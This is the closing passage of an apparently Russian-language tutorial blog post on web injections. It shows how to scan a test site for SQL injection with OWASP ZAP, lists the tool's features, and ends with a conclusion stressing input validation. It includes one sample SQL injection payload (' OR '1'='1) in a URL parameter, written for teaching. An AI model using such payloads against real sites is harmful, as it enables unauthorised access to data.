ZAP перехватывает запросы между браузером и сервером, позволяет автоматически сканировать сайт на наличие уязвимостей и вручную тестировать конкретные параметры.

Кейс для начинающих: Автоматическая проверка сайта на SQL-инъекции.

127.0.0.1:8080
http://test.example.com

Нажмите "Attack" — ZAP начнет сканирование. Результат: по завершении ZAP выдаст отчет о найденных уязвимостях, включая SQL-инъекции.

Продвинутые функции

OWASP ZAP включает в себя мощные инструменты:

Active Scan (Активное сканирование): Агрессивный поиск уязвимостей.

Passive Scan (Пассивное сканирование): Безопасный анализ трафика.

Spider (Паук): Автоматический обход сайта для поиска страниц.

Fuzzer (Фаззер): Отправка случайных данных в запросы.

Forced Browsing: Попытка доступа к скрытым директориям.

Marketplace: Установка дополнительных модулей.

Пример SQL-инъекции, обнаруженной ZAP:

http://test.example.com/product.php?id=1' OR '1'='1

Если сервер возвращает неожиданные данные, ZAP фиксирует SQL-инъекцию.

Заключение. Инъекции — серьезная угроза, требующая внимания

В этой статье мы рассмотрели основные виды веб-инъекций, включая SQL-инъекции и XSS, и разобрали, как злоумышленники могут использовать эти техники. Стало ясно, что инъекции представляют собой серьезную угрозу для веб-приложений, позволяя получать несанкционированный доступ к данным и даже выводить сайты из строя.

Ключевой вывод: предотвращение инъекций — критически важная задача для обеспечения безопасности веб-приложений. Строгая валидация и фильтрация пользовательского ввода являются фундаментальными для защиты.

Существует множество методов и техник защиты от инъекций, включая параметризованные запросы, использование ORM, WAF и CSP, которые будут подробно рассмотрены в отдельной статье.

Я надеюсь, что эта статья помогла понять серьезность проблемы и дала базовые знания о том, как работают инъекции. Помните, что безопасность — это непрерывный процесс, требующий постоянного внимания и изучения.

Спасибо, что дочитали до конца! Я надеюсь, что Вы узнали что-то новое или интересное!

27 views·1 share